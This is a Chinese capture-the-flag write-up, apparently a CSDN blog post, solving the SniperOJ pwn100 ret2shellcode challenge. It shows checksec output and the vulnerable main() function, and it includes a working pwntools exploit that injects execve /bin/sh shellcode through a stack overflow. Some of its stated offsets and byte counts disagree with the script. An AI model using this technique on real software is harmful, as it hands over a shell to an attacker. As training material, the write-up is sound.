sniperoj-pwn100-shellcode-x86-64

分析

题目下载
查看保护,ret2shellcode类型的题是没有NX保护的

┌──(root💀e267254b2ec9)-[/home/pwn]
└─# checksec shellcode 
[*] '/home/pwn/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

从main中不难发现buf泄露了它的地址,并且存在栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[0] = 0LL;
  buf[1] = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", buf);
  puts("Now give me your answer : ");
  read(0, buf, 0x40uLL);
  return 0;
}

思路

计算eip到buf的距离:断点到leave,算出buf到eip距离为rbp - rsp + 8 = 0x7fffde3d2820 - 0x7fffde3d2810 + 8 = 18 bytes

image-20211208112148036

用shellcraft生成64位的shellcode是44字节的,大于了buf上到eip能填充的18个字节,因此,shellcode不能放在buf上,而是放在eip的后面,将eip的地址保存的值覆盖为eip后面的地址,后面就是填充shellcode了,足足有0x40 - 0x10 - 8 = 0x28 = 40个字节,同样也不能用shellcraft生成的,我们去网站上找一个短的

这些都行

https://www.exploit-db.com/shellcodes/43550

https://www.exploit-db.com/shellcodes/46907

1228809-20200129231359311-275271508

EXP

# encoding: utf-8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

if __name__ == '__main__':
    p = process('./shellcode')
    p.recvuntil('[')
    buf_addr = p.recvuntil(']',drop=True)
    fillw_addr = int(buf_addr,16) + 24 + 8
    shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"# 23字节的shellcode
    p.sendline(24*'a'+p64(fillw_addr)+shellcode)
    p.interactive()

打通!

image-20211208113140681

Reference

栈溢出练习(1) - Hk_Mayfly - 博客园 (cnblogs.com)

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值